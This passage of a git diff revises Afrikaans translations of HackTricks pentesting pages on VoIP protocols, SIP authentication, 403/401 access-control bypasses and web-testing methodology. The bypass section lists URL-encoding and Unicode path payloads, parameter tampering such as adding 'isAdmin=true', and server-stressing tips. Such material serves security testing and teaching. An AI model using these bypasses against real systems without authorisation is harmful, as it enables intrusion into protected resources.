deurlopende teenwoordigheid in staat, wat dit moontlik maak om groot konferensies met verskeie deelnemers te hou. -H.323 ondersteun 'n reeks klank- en video-codecs, sowel as ander aanvullende dienste soos oproepdoorgifte, oproepoorplasing, oproephou, en oproepwag. Ten spyte van sy wye aanvaarding in die vroeë dae van VoIP, is H.323 geleidelik vervang deur meer moderne en buigsame protokolle soos die **Sessie Inisiasie Protokol (SIP)**, wat beter interoperabiliteit en makliker implementering bied. Nietemin bly H.323 in gebruik in baie erfenisstelsels en word dit steeds deur verskeie toerustingverkopers ondersteun. +H.323 ondersteun 'n reeks audio- en video-codecs, sowel as ander aanvullende dienste soos oproepoorplasing, oproepoorplasing, oproephouding, en oproepwag. Ten spyte van sy wye aanvaarding in die vroeë dae van VoIP, is H.323 geleidelik vervang deur meer moderne en buigsame protokolle soos die **Sessie Inisiasie Protokol (SIP)**, wat beter interoperabiliteit en makliker implementering bied. Nietemin bly H.323 in gebruik in baie erfenisstelsels en word dit steeds deur verskeie toerustingverkopers ondersteun. ### IAX (Inter Asterisk eXchange) -IAX (Inter-Asterisk eXchange) is 'n **sein en oproepbeheerprotokol** wat hoofsaaklik gebruik word vir kommunikasie tussen Asterisk PBX (Private Branch Exchange) bedieners en ander VoIP toestelle. Dit is ontwikkel deur Mark Spencer, die skepper van die Asterisk oopbron PBX sagteware, as 'n alternatief vir ander VoIP-protokolle soos SIP en H.323. +IAX (Inter-Asterisk eXchange) is 'n **sein- en oproepbeheerprotokol** wat hoofsaaklik gebruik word vir kommunikasie tussen Asterisk PBX (Private Branch Exchange) bedieners en ander VoIP toestelle. Dit is ontwikkel deur Mark Spencer, die skepper van die Asterisk oopbron PBX sagteware, as 'n alternatief vir ander VoIP-protokolle soos SIP en H.323. -IAX is bekend vir sy **simpliciteit, doeltreffendheid, en makliker implementering**. Sommige sleutelkenmerke van IAX sluit in: +IAX is bekend vir sy **simpliciteit, doeltreffendheid, en maklikheid van implementering**. Sommige sleutelkenmerke van IAX sluit in: 1. **Enkele UDP Poort**: IAX gebruik 'n enkele UDP-poort (4569) vir beide sein- en media-verkeer, wat firewall en NAT-oorgang vereenvoudig, wat dit makliker maak om in verskillende netwerkomgewings te implementeer. -2. **Binarie Protokol**: Anders as teksgebaseerde protokolle soos SIP, is IAX 'n binarie protokol, wat sy bandwydteverbruik verminder en dit doeltreffender maak vir die oordrag van sein- en mediagegewens. +2. **Binarie Protokol**: Anders as teksgebaseerde protokolle soos SIP, is IAX 'n binarie protokol, wat sy bandwydteverbruik verminder en dit doeltreffender maak vir die oordrag van sein- en mediadata. 3. **Trunking**: IAX ondersteun trunking, wat toelaat dat verskeie oproepe in 'n enkele netwerkverbinding gekombineer word, wat oorhoofse koste verminder en bandwydte benutting verbeter. 4. **Inheemse Enkripsie**: IAX het ingeboude ondersteuning vir enkripsie, wat metodes soos RSA vir sleuteluitruiling en AES vir media-enkripsie gebruik, wat veilige kommunikasie tussen eindpunte bied. 5. **Peer-to-Peer Kommunikasie**: IAX kan gebruik word vir direkte kommunikasie tussen eindpunte sonder die behoefte aan 'n sentrale bediener, wat eenvoudiger en doeltreffender oproeprouting moontlik maak. @@ -72,8 +72,8 @@ SDP (Sessie Beskrywing Protokol) is 'n **teksgebaseerde formaat** wat gebruik wo Sommige sleutel elemente van SDP sluit in: 1. **Sessie Inligting**: SDP beskryf die besonderhede van 'n multimedia sessie, insluitend sessienaam, sessiebeskrywing, begin tyd, en eind tyd. -2. **Media Strome**: SDP definieer die eienskappe van media-strome, soos die mediatipe (klank, video, of teks), vervoersprotokol (bv. RTP of SRTP), en die mediaformaat (bv. kodekinligting). -3. **Verbindingsinligting**: SDP bied inligting oor die netwerkadres (IP adres) en poortnommer waar die media gestuur of ontvang moet word. +2. **Media Strome**: SDP definieer die eienskappe van media-strome, soos die mediatipe (audio, video, of teks), vervoersprotokol (bv. RTP of SRTP), en die mediaformaat (bv. kodekinligting). +3. **Verbindingsinligting**: SDP bied inligting oor die netwerkadres (IP-adres) en poortnommer waar die media gestuur of ontvang moet word. 4. **Attributen**: SDP ondersteun die gebruik van attributen om addisionele, opsionele inligting oor 'n sessie of media-stroom te verskaf. Attributen kan gebruik word om verskillende funksies soos enkripsiesleutels, bandwydtevereistes, of media-beheermeganismes spesifiek te maak. SDP word tipies in die volgende proses gebruik: @@ -87,11 +87,11 @@ SDP se eenvoud en buigsaamheid maak dit 'n wye aanvaarde standaard vir die beskr ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Regstyd Transport Protokol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van klank- en video-data, of ander regstyd media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP algemeen gebruik saam met seinprotokolle soos SIP en H.323 om multimedia kommunikasie moontlik te maak. RTP bied meganismes vir **sinkronisasie**, **volgorde**, en **tydstempel** van media-strome, wat help om gladde en tydige media-afspeel te verseker. +1. **RTP (Regstyd Transport Protokol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van audio- en video-data, of ander regstydse media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP algemeen gebruik saam met seinprotokolle soos SIP en H.323 om multimedia kommunikasie moontlik te maak. RTP bied meganismes vir **sinkronisasie**, **volgorde**, en **tydstempel** van media-strome, wat help om gladde en tydige media-afspeel te verseker. 2. **RTCP (Regstyd Transport Beheer Protokol)**: RTCP is 'n metgeselprotokol van RTP, wat gebruik word om die kwaliteit van diens (QoS) te monitor en terugvoer te verskaf oor die oordrag van media-strome. Gedefinieer in dieselfde **RFC 3550** as RTP, **ruil RTCP periodiek beheerpakkette tussen deelnemers in 'n RTP-sessie uit**. Dit deel inligting soos pakkieverlies, jitter, en rondreis tyd, wat help om netwerktoestande te diagnoseer en aan te pas, wat die algehele media kwaliteit verbeter. -3. **SRTP (Veilige Regstyd Transport Protokol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie**, en **herhalingsbeskerming** vir media-strome bied, wat veilige oordrag van sensitiewe klank- en video-data verseker. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels in kombinasie met veilige seinprotokolle soos SIP oor TLS gebruik om end-tot-end sekuriteit in multimedia kommunikasie te bied. -4. **ZRTP (Zimmermann Regstyd Transport Protokol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomsprotokol wat **end-tot-end enkripsie** vir RTP media-strome bied. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat op seinprotokolle vir sleuteluitruiling staatmaak, is ZRTP ontwerp om onafhanklik van die seinprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikasiepartye te vestig, sonder om vooraf vertroue of 'n publieke sleutel infrastruktuur (PKI) te vereis. ZRTP sluit ook funksies soos **Korte Verifikasiestrings (SAS)** in om teen man-in-the-middle aanvalle te beskerm. +3. **SRTP (Veilige Regstyd Transport Protokol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie**, en **herhalingsbeskerming** vir media-strome bied, wat veilige oordrag van sensitiewe audio- en video-data verseker. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels in kombinasie met veilige seinprotokolle soos SIP oor TLS gebruik om end-tot-end sekuriteit in multimedia kommunikasie te bied. +4. **ZRTP (Zimmermann Regstyd Transport Protokol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomsprotokol wat **end-tot-end enkripsie** vir RTP media-strome bied. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat op seinprotokolle vir sleuteluitruiling staatmaak, is ZRTP ontwerp om onafhanklik van die seinprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikasiepartye te vestig, sonder om vooraf vertroue of 'n publieke sleutel infrastruktuur (PKI) te vereis. ZRTP sluit ook funksies soos **Korte Verifikasiestrings (SAS)** in om teen man-in-the-middle-aanvalle te beskerm. -Hierdie protokolle speel noodsaaklike rolle in **die aflewering en beveiliging van regstyd multimedia kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitmonitering hanteer, verseker SRTP en ZRTP dat die oorgedraagde media teen afluister, manipulasie, en herhalingsaanvalle beskerm word. +Hierdie protokolle speel noodsaaklike rolle in **die aflewering en beveiliging van regstydse multimedia kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitmonitering hanteer, verseker SRTP en ZRTP dat die oorgedraagde media teen afluister, manipulasie, en herhalingsaanvalle beskerm word. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md index 4564604f1..c194ae3e0 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md @@ -4,16 +4,16 @@ ## Basiese Inligting -SIP (Session Initiation Protocol) is 'n **sein- en oproepbeheerprotokol** wat wyd gebruik word om multimedia-sessies, insluitend stem, video en onmiddellike boodskappe, oor IP-netwerke te vestig, te wysig en te beëindig. Ontwikkel deur die **Internet Engineering Task Force (IETF)**, is SIP gedefinieer in **RFC 3261** en het die de facto standaard vir VoIP en verenigde kommunikasie geword. +SIP (Session Initiation Protocol) is 'n **sein- en oproepbeheerprotokol** wat wyd gebruik word om multimedia-sessies, insluitend stem, video en kitsboodskappe, oor IP-netwerke te vestig, te wysig en te beëindig. Ontwikkel deur die **Internet Engineering Task Force (IETF)**, is SIP gedefinieer in **RFC 3261** en het die de facto standaard vir VoIP en verenigde kommunikasie geword. Sommige sleutelkenmerke van SIP sluit in: -1. **Tekstgebaseerde Protokol**: SIP is 'n tekstgebaseerde protokol, wat dit menslik leesbaar en makliker maak om te debug. Dit is gebaseer op 'n versoek-antwoordmodel, soortgelyk aan HTTP, en gebruik metodes soos INVITE, ACK, BYE, en CANCEL om oproepsessies te beheer. -2. **Skaalbaarheid en Buigsaamheid**: SIP is hoogs skaalbaar en kan gebruik word in klein ontplooiings sowel as groot onderneming en draer-graad omgewings. Dit kan maklik uitgebrei word met nuwe funksies, wat dit aanpasbaar maak vir verskeie gebruiksgevalle en vereistes. +1. **Teksgedrewe Protokol**: SIP is 'n teksgebaseerde protokol, wat dit menslik leesbaar maak en makliker om te debug. Dit is gebaseer op 'n versoek-antwoordmodel, soortgelyk aan HTTP, en gebruik metodes soos INVITE, ACK, BYE, en CANCEL om oproepsessies te beheer. +2. **Skaalbaarheid en Buigsaamheid**: SIP is hoogs skaalbaar en kan in klein ontplooiings sowel as groot onderneming- en draer-graad omgewings gebruik word. Dit kan maklik uitgebrei word met nuwe funksies, wat dit aanpasbaar maak vir verskeie gebruiksgevalle en vereistes. 3. **Interoperabiliteit**: SIP se wye aanvaarding en standaardisering verseker beter interoperabiliteit tussen verskillende toestelle, toepassings en diensverskaffers, wat naatlose kommunikasie oor verskeie platforms bevorder. -4. **Modulêre Ontwerp**: SIP werk saam met ander protokolle soos **RTP (Real-time Transport Protocol)** vir media-oordrag en **SDP (Session Description Protocol)** vir die beskrywing van multimedia-sessies. Hierdie modulêre ontwerp stel groter buigsaamheid en kompatibiliteit met verskillende mediatipes en kodeks in staat. +4. **Modulêre Ontwerp**: SIP werk saam met ander protokolle soos **RTP (Real-time Transport Protocol)** vir media-oordrag en **SDP (Session Description Protocol)** vir die beskrywing van multimedia-sessies. Hierdie modulêre ontwerp bied groter buigsaamheid en kompatibiliteit met verskillende mediatipes en kodeks. 5. **Proxy en Herlei Servers**: SIP kan proxy- en herlei-servers gebruik om oproeproutering te fasiliteer en gevorderde funksies soos oproepoorplasing, oproepoorplasing, en stemposdienste te bied. -6. **Teenwoordigheid en Onmiddellike Boodskappe**: SIP is nie beperk tot stem- en video kommunikasie nie. Dit ondersteun ook teenwoordigheid en onmiddellike boodskappe, wat 'n wye reeks verenigde kommunikasietoepassings moontlik maak. +6. **Teenwoordigheid en Kitsboodskappe**: SIP is nie beperk tot stem- en video kommunikasie nie. Dit ondersteun ook teenwoordigheid en kitsboodskappe, wat 'n wye reeks verenigde kommunikasietoepassings moontlik maak. Ten spyte van sy baie voordele, kan SIP kompleks wees om te konfigureer en te bestuur, veral wanneer dit met NAT-oorgang en vuurmuurkwessies te doen het. Tog maak sy veelsydigheid, skaalbaarheid en uitgebreide ondersteuning oor die bedryf dit 'n gewilde keuse vir VoIP en multimedia kommunikasie. @@ -21,24 +21,24 @@ Ten spyte van sy baie voordele, kan SIP kompleks wees om te konfigureer en te be Die kern SIP-metodes wat in **RFC 3261** gedefinieer is, sluit in: -1. **INVITE**: Gebruik om 'n **nuwe sessie (oproep)** te begin of 'n bestaande een te wysig. Die INVITE-metode dra die sessiebeskrywing (tipies met behulp van SDP) om die ontvanger in te lig oor die besonderhede van die voorgestelde sessie, soos mediatipes, kodeks en vervoermetodes. +1. **INVITE**: Gebruik om 'n **nuwe sessie (oproep)** te begin of 'n bestaande een te wysig. Die INVITE-metode dra die sessiebeskrywing (tipies met behulp van SDP) om die ontvanger in te lig oor die besonderhede van die voorgestelde sessie, soos mediatipes, kodeks en vervoersprotokolle. 2. **ACK**: Gestuur om die **ontvangs** van 'n finale antwoord op 'n INVITE-versoek te **bevestig**. Die ACK-metode verseker die betroubaarheid van INVITE-transaksies deur end-tot-end erkenning te bied. 3. **BYE**: Gebruik om 'n **gestigte sessie (oproep)** te beëindig. Die BYE-metode word deur enige party in die sessie gestuur om aan te dui dat hulle die kommunikasie wil beëindig. -4. **CANCEL**: Gestuur om 'n hangende INVITE-versoek te **annuleer** voordat die sessie gevestig word. Die CANCEL-metode stel die sender in staat om 'n INVITE-transaksie te kanselleer as hulle van gedagte verander of as daar geen reaksie van die ontvanger is nie. +4. **CANCEL**: Gestuur om 'n hangende INVITE-versoek te **annuleer** voordat die sessie gevestig word. Die CANCEL-metode laat die sender toe om 'n INVITE-transaksie te kanselleer as hulle van gedagte verander of as daar geen reaksie van die ontvanger is nie. 5. **OPTIONS**: Gebruik om die **vermoëns van 'n SIP-server of gebruikersagent** te **ondervrag**. Die OPTIONS-metode kan gestuur word om inligting oor ondersteunde metodes, mediatipes of ander uitbreidings aan te vra sonder om werklik 'n sessie te vestig. -6. **REGISTER**: Gebruik deur 'n gebruikersagent om sy huidige ligging by 'n SIP-registrar-server te **registreer**. Die REGISTER-metode help om 'n op-datum kaart tussen 'n gebruiker se SIP-URI en hul huidige IP-adres te handhaaf, wat oproeproutering en -aflewering moontlik maak. +6. **REGISTER**: Gebruik deur 'n gebruikersagent om sy huidige ligging by 'n SIP-registrar-server te **registreer**. Die REGISTER-metode help om 'n opdatering van die kaart tussen 'n gebruiker se SIP-URI en hul huidige IP-adres te handhaaf, wat oproeproutering en aflewering moontlik maak. > [!WARNING] > Let daarop dat dit **nie nodig is om die REGISTER** te gebruik om iemand te bel nie.\ -> Dit is egter moontlik dat om 'n **INVITE** uit te voer, die beller eers moet **authentiseer** of hy sal 'n **`401 Unauthorized`** antwoord ontvang. +> Dit is egter moontlik dat om 'n **INVITE** uit te voer, die beller eers moet **autentiseer** of hy sal 'n **`401 Unauthorized`** antwoord ontvang. Benewens hierdie kernmetodes, is daar **verskeie SIP-uitbreidingsmetodes** wat in ander RFC's gedefinieer is, soos: 1. **SUBSCRIBE**: Gedefinieer in RFC 6665, die SUBSCRIBE-metode word gebruik om **kennisgewings** oor die toestand van 'n spesifieke hulpbron, soos 'n gebruiker se teenwoordigheid of oproepstatus, aan te vra. 2. **NOTIFY**: Ook gedefinieer in RFC 6665, die NOTIFY-metode word deur 'n bediener gestuur om 'n **subscribed gebruikersagent** in te lig oor veranderinge in die toestand van 'n gemonitorde hulpbron. 3. **REFER**: Gedefinieer in RFC 3515, die REFER-metode word gebruik om **te vra dat die ontvanger 'n oordrag uitvoer of na 'n derde party verwys**. Dit word tipies gebruik vir **oproepoorplasing** scenario's. -4. **MESSAGE**: Gedefinieer in RFC 3428, die MESSAGE-metode word gebruik om **onmiddellike boodskappe tussen SIP-gebruikersagentskappe te stuur**, wat tekstgebaseerde kommunikasie binne die SIP-raamwerk moontlik maak. -5. **UPDATE**: Gedefinieer in RFC 3311, die UPDATE-metode stel **in staat om 'n sessie te wysig sonder om die toestand van die bestaande dialoog te beïnvloed**. Dit is nuttig om sessieparameters, soos kodeks of mediatipes, tydens 'n lopende oproep op te dateer. +4. **MESSAGE**: Gedefinieer in RFC 3428, die MESSAGE-metode word gebruik om **kitsboodskappe tussen SIP-gebruikersagentskappe te stuur**, wat teksgebaseerde kommunikasie binne die SIP-raamwerk moontlik maak. +5. **UPDATE**: Gedefinieer in RFC 3311, die UPDATE-metode laat **wysigings aan 'n sessie toe sonder om die toestand van die bestaande dialoog te beïnvloed**. Dit is nuttig om sessieparameters, soos kodeks of mediatipes, tydens 'n lopende oproep op te dateer. 6. **PUBLISH**: Gedefinieer in RFC 3903, die PUBLISH-metode word deur 'n gebruikersagent gebruik om **gebeurtenisstatusinligting aan 'n bediener te publiseer**, wat dit beskikbaar maak vir ander belangstellende partye. ### SIP Antwoordkodes @@ -57,12 +57,12 @@ Benewens hierdie kernmetodes, is daar **verskeie SIP-uitbreidingsmetodes** wat i - 305 Use Proxy: Die versoek moet na 'n spesifieke proxy gestuur word. - **4xx (Kliëntfout Antwoorde)**: Hierdie antwoorde dui aan dat die versoek slegte sintaksis bevat of nie deur die bediener vervul kan word nie. - 400 Bad Request: Die versoek was verkeerd of ongeldig. -- 401 Unauthorized: Die versoek vereis gebruikersauthentisering. +- 401 Unauthorized: Die versoek vereis gebruikersautentisering. - 403 Forbidden: Die bediener het die versoek verstaan, maar weier om dit te vervul. - 404 Not Found: Die aangevraagde hulpbron is nie op die bediener gevind nie. - 408 Request Timeout: Die bediener het nie 'n volledige versoek binne die tyd ontvang wat dit bereid was om te wag nie. - 486 Busy Here: Die ontvanger is tans besig en kan die oproep nie neem nie. -- **5xx (Bedienerfout Antwoorde)**: Hierdie antwoorde dui aan dat die bediener nie daarin geslaag het om 'n geldige versoek te vervul nie. +- **5xx (Bedienerfout Antwoorde)**: Hierdie antwoorde dui aan dat die bediener nie 'n geldige versoek kon vervul nie. - 500 Internal Server Error: Die bediener het 'n fout ondervind terwyl dit die versoek verwerk het. - 501 Not Implemented: Die bediener ondersteun nie die funksionaliteit wat benodig word om die versoek te vervul nie. - 503 Service Unavailable: Die bediener is tans nie in staat om die versoek te hanteer nie weens onderhoud of oorbelasting. @@ -116,11 +116,11 @@ a=rtpmap:0 PCMU/8000te - `v=0` - Protokol weergawe (0 vir SDP) - `o=jsmith 2890844526 2890842807 IN IP4 pc33.example.com` - Oorsprong en sessie identifiseerder -- `s=-` - Sessienaam (een enkele koppelteken dui aan dat daar geen sessienaam is) +- `s=-` - Sessienaam (een enkele koppelteken dui aan dat daar geen sessienaam is nie) - `c=IN IP4 pc33.example.com` - Verbinding inligting (netwerk tipe, adres tipe, en adres) - `t=0 0` - Tydinligting (begin en stop tye, 0 0 beteken die sessie is nie gebonde nie) - `m=audio 49170 RTP/AVP 0` - Media beskrywing (media tipe, poortnommer, vervoersprotokol, en formaat lys). In hierdie geval, spesifiseer dit 'n klankstroom wat RTP/AVP (Real-time Transport Protocol / Audio Video Profile) en formaat 0 (PCMU/8000) gebruik. -- `a=rtpmap:0 PCMU/8000` - Kenmerk wat die formaat (0) aan die kodek (PCMU) en sy klokspoed (8000 Hz) koppel. +- `a=rtpmap:0 PCMU/8000` - Kenmerk wat die formaat (0) aan die kodek (PCMU) en sy kloktempo (8000 Hz) koppel.
@@ -130,7 +130,7 @@ Die REGISTER metode word in Session Initiation Protocol (SIP) gebruik om 'n gebr Hier is 'n gedetailleerde voorbeeld van die SIP boodskappe wat betrokke is by 'n REGISTER outentikasie proses: -1. Begin **REGISTER** aanvraag van UA na die registrateur bediener: +1. Aanvanklike **REGISTER** aanvraag van UA na die registrateur bediener: ```yaml REGISTER sip:example.com SIP/2.0 Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds @@ -172,7 +172,7 @@ Expires: 3600 Authorization: Digest username="alice", realm="example.com", nonce="abcdefghijk", uri="sip:example.com", response="65a8e2285879283831b664bd8b7f14d4", algorithm=MD5, cnonce="lmnopqrst", qop=auth, nc=00000001 Content-Length: 0 ``` -Die UA stuur 'n ander REGISTER versoek, hierdie keer met die **"Authorization" koptekst met die nodige geloofsbriewe, soos die gebruikersnaam, domein, nonce, en 'n responswaarde** wat bereken is met die verskafde inligting en die gebruiker se wagwoord. +Die UA stuur 'n ander REGISTER versoek, hierdie keer met die **"Authorization" koptekst met die nodige geloofsbriewe, soos die gebruikersnaam, realm, nonce, en 'n responswaarde** wat bereken is met behulp van die verskafde inligting en die gebruiker se wagwoord. So word die **Authorization respons** bereken: ```python @@ -219,7 +219,7 @@ Contact: ;expires=3600 Expires: 3600 Content-Length: 0 ``` -Na die registrateur bediener die verskafde geloofsbriewe verifieer, **stuur dit 'n "200 OK" antwoord om aan te dui dat die registrasie suksesvol was**. Die antwoord sluit die geregistreerde kontakbesonderhede en die vervaldatum vir die registrasie in. Op hierdie punt is die gebruiker agent (Alice) suksesvol geregistreer met die SIP registrateur bediener, en inkomende SIP versoeke vir Alice kan na die toepaslike kontakadres gestuur word. +Na die registrateur bediener die verskafde geloofsbriewe verifieer, **stuur dit 'n "200 OK" antwoord om aan te dui dat die registrasie suksesvol was**. Die antwoord sluit die geregistreerde kontakbesonderhede en die vervaldatum vir die registrasie in. Op hierdie punt is die gebruiker agent (Alice) suksesvol geregistreer by die SIP registrateur bediener, en inkomende SIP versoeke vir Alice kan na die toepaslike kontakadres gestuur word. ### Bel Voorbeeld diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 0192e2711..f7ad780e5 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -45,7 +45,7 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi As _/path_ geblokkeer is: - Probeer om _**/**_**%2e/path \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/path (dubbele URL-kodering) -- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geëncodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil +- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil - **Ander pad omseilings**: - site.com/secret –> HTTP 403 Verbode - site.com/SECRET –> HTTP 200 OK @@ -76,7 +76,7 @@ As _/path_ geblokkeer is: - Verander **param waarde**: Van **`id=123` --> `id=124`** - Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`** - Verwyder die parameters -- Herordeneer parameters +- Herorganiseer parameters - Gebruik spesiale karakters. - Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes). @@ -86,7 +86,7 @@ As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2. ## **Ander Omseilings** -- Kry die **IP** of **CNAME** van die domein en probeer om **direk kontak te maak**. +- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in kontak te tree**. - Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). - **Verander die protokol**: van http na https, of van https na http - Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was. diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 3de6867c0..9901f47ca 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -25,21 +25,21 @@ web-api-pentesting.md ## Metodologie opsomming -> In hierdie metodologie gaan ons aanneem dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met onbepaalde webbediener binne die omvang. +> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met onbepaalde webbediener binne die omvang. - [ ] Begin met **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer. - [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie? -- [ ] Gebruik enige **goed bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek? +- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige trick** om meer inligting te onttrek? - [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)? -- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind. +- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie. - [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS). -- [ ] Begin **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**. +- [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**. - [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._ - [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**. - [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._ - [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg. - [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**. -- [ ] Sodra jy al die moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou. +- [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou. - [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md) ## Bediener Weergawe (Kwetsbaar?) @@ -47,7 +47,7 @@ web-api-pentesting.md ### Identifiseer Kyk of daar **bekende kwesbaarhede** is vir die bediener **weergawe** wat loop.\ -Die **HTTP koptekste en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:** +Die **HTTP koppe en koekies van die antwoord** kan baie nuttig wees om die **tegnologieë** en/of **weergawe** wat gebruik word te **identifiseer**. **Nmap skandering** kan die bediener weergawe identifiseer, maar dit kan ook nuttig wees om die gereedskap [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)of [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -99,18 +99,18 @@ Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë** - [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/) _Neem in ag dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappies** en **subdomeine** kan gebruik._\ -As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!). +As die webtoepassing enige bekende **tegnologie/platform soos hierbo gelys** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!). ### Bronnkode Hersiening -As die **bronnkode** van die toepassing beskikbaar is in **github**, benewens om 'n **White box toets** van die toepassing te doen, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Black-Box toetsing**: +As die **bronnkode** van die toepassing beskikbaar is in **github**, benewens om **jou eie 'n Wit boks toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Swart-Boks toetsing**: - Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergaweninligting toeganklik** via die web? - Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)? -- Is **wagwoorde** in **platte teks**, **geënkripteer** of watter **hash-algoritme** word gebruik? +- Is **wagwoorde** in **duidelike teks**, **geënkripteer** of 